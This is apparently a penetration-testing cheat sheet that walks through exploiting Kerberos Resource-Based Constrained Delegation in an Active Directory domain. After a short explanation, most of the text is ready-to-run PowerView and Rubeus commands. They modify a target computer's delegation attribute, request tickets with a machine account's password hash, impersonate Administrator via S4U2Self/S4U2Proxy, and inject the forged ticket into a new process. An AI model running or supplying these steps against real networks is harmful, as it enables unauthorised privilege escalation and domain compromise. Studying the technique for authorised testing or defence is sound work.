Resource-Based Constrained Delegation is a feature in Kerberos authentication where a computer trusts another account to impersonate users to it (e.g., ComputerA allows ComputerB to impersonate any user and authenticate to ComputerA as that user).
To exploit Resource-Based Constrained Delegation, you need a few prerequisites:
Control over a user or computer account with a SPN (ComputerA or UserA)
Permissions to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for ComputerB (the target computer you want access to)
Exploit
Scenario
You control ComputerA and a domain user account, ducky, who has WriteProperty permissions for ComputerB.
The goal is to make ComputerB trust ComputerA for delegation so that a ST for ducky -> ComputerA can be used in S4U2Proxy to obtain a ST for ducky -> ComputerB.
## Get SID of ComputerA
Get-DomainComputer -Identity ComputerA -Properties objectSid
## Build the raw binary value for msDS-AllowedToActOnBehalfOfOtherIdentity
## using ComputerA's SID
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[ComputerA's SID])"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
## Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute onto ComputerB
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[ComputerA's SID])"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
Get-DomainComputer -Identity "ComputerB" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb}
## Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to confirm it
Get-DomainComputer -Identity "ComputerB" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
## Request TGT for ComputerA$
Rubeus.exe asktgt /user:ComputerA$ /rc4:[NTLM password hash for ComputerA] /nowrap
## S4U2Self and S4U2Proxy to get ST as Administrator for ComputerB
Rubeus.exe s4u /user:ComputerA$ /impersonateuser:Administrator /msdsspn:cifs/ComputerB.weelee.zip /ticket [ComputerA TGT] /nowrap
## Inject the newly obtained ST as Administrator for ComputerB into a new process
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:[domain] /username:Administrator /password:AnyPassword /ticket:[ComputerB ST]
## Use A Tool To Impersonate The Process Created Above
Invoke-SharpImpersonation -Command "pid:[pid]"